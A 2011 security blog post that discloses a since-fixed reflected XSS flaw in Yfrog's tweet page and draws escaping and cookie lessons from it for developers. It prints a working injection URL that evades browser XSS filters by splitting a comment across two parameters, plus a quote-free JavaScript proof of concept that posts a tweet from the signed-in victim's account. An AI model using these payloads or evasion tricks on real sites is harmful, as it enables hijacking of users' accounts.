Wednesday, February 9, 2011

XSS Awareness: How a Yfrog vulnerability could be used to post to Twitter

If you missed either of the other articles in this series, they can be found here:

Disclaimer


Following the MHTML disclosure in early January this year, I've involuntarily (as nerdtraps usually pan out) found myself back on an old mission: to improve bits of web insecurity in commonly used services. During this time I've sent more than a handful warning emails. As the issues are patched up, I hope to share the results with the rest who stumble by here.

This isn't in any way meant to cause harm to the good name of the companies involved. XSS vulnerabilities are wildly simple to produce, and are also prone to appear because of sneaky browser flaws (such as the MHTML 'feature' in IE). As a web developer, it's next to impossible to stay up-to-date on all possible attack vectors, which is why I find it necessary to:
  1. Use examples which make people realize what's at stake.
  2. Provide as concrete and concise do's and dont's as possible based on said examples.
To not have you lose interest, I'll get to the point as quickly as possible.

The case of Yfrog


At Yfrog, whose services many use to publish images and videos to Twitter, Facebook and such, there was a particular page: /tweet.php. It took two query parameters: bg and url.

They were being injected into the page as follows:
<html>
<head>
<style type="text/css">
body {background-color: #--BG HERE--}
</style>
</head>
<body>
<script type='text/javascript'>tweetmeme_url='--URL HERE--';</script><script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'></script>
</body>
</html>
The parameters were washed so that single quotes, double quotes and backslashes were backslash escaped. Consequently, were you to pass
';alert('hi');
.. to the url parameter, the output would read
tweetmeme_url='\';alert(\'hi\');'
The characters } < > and /, on the other hand, weren't touched at all.

That means two things. First of all, it would be possible to break out of the style block, and insert a rogue script block. Second, it would be possible to evade certain XSS filters, such as those in Chrome and Safari, by combining the bg and url parameters to comment out a section of the markup.

Building an url such as
http://yfrog.com/tweet.php?bg=0}%0a</style><script>alert(1)/*&url=*/</script>
Would result in the following markup
<html>
<head>
<style type="text/css">
body {background-color: #0}
</style><script>alert(1)/*}
</style>
</head>
<body>
<script type='text/javascript'>tweetmeme_url='*/</script>';</script><script type='text/javascript' src='http://tweetmeme.com/i/scripts/button.js'></script>
</body>
</html>
Notice that the part following the alert is commented out, and that the comment ends within the url assigned to tweetmeme_url. Browsers with built-in XSS protection that rely on matching the full content of a script block, with data found in the query string, would not be able to protect you against this. Consequently a popup with '1' would show.
Point #1: Whenever you have multiple input parameters, and these are written to different parts of the page, an attacker can use that to fool both your own internal parameter washing and XSS prevention mechanism, as well as that of the browser.
Point #2: Parameter washing must always take into consideration exactly where the parameter will be rendered. Escaping backslashes, quotes and single quotes does work for string literals in scripts, but will prevent nothing at all for attributes or other html markup. Allowing newlines or carriage returns can similarly be used to break out of string literals in scripts. This can, given certain other conditions, result in vulnerabilities. For most html and attribute rendered parameters, MHTML not withstanding, newlines are harmless.
The only remaining obstacle -- or rather inconvenience -- in this case, is the escaping of single and double quotes. This means that a script meant to exploit the vulnerability would have to be written without any string literals. There are quite a few options on how to deal with this. First of all, it could be circumvented entirely by simply linking an external script. Second, most of the script could be a char code array, with just a minimal bootstrapper to decode and eval the actual script. Third, and this is an option I'll show you here, you could use the forward slash regex syntax to capture literals.
sc=function(r){return r.source};
x=new XMLHttpRequest();
x.open(sc(/POST/),sc(/http%3A%2F%2Fyfrog.com%2Fposter.php/),false);
x.setRequestHeader(sc(/Content-Type/),sc(/application%2Fx-www-form-urlencoded/));
x.send(sc(/message%3DXSSTWEET%26type%5B%5D%3Dt%26oauth%3D1%26forcelogin/));
This is actually the full proof of concept script I injected into the page, which resulted in a tweet through the account I had signed into Yfrog with.
Point #3: Disallowing certain characters is nothing more than an inconvenience to an attacker, if he/she has first managed to inject something interpreted as script. Even all characters converted to uppercase, in a final effort to avoid script interpretation, can easily be worked around. See this page for examples from BlackHat DC.
Point #4: When session cookies are in use, be sure to make them httponly. Cookies available from javascript are all too likely to be stolen and misused. Adding to this, cookies should never span a wider range of subdomains than necessary: If your application lives on the top domain, let the cookies be scoped to that - and that alone.

Proof of concept screencast

This shows how an attack could play out. Notice that the proof of concept page I visit shows no error message, or visual indication of what goes down in the background.



Final thoughts

I have to commend Yfrog for looking into this quickly. With service providers such as Yfrog, and the position they hold in the market -- as well as towards other services through inter-service trust -- it's vital that issues are corrected as fast as possible.

This brings me to a point on new web services in general. Bridging the gap between the various sites you use, trusting everyone to contact everyone, and always staying signed in to one or more of the services; is bound to weaken your overall level of security. I highly recommend not staying logged in anywhere, for longer than necessary. I also recommend the usage of NotScript / NoScript and similar browser addins. Although only occasionally effective, keeping the circle of script sources you trust tight does help. In the case of XSS attacks where external scripts are being loaded from evil CDN, a user of NoScript / NotScript / similar would not be affected unless he trusted those CDNs specifically.

No comments: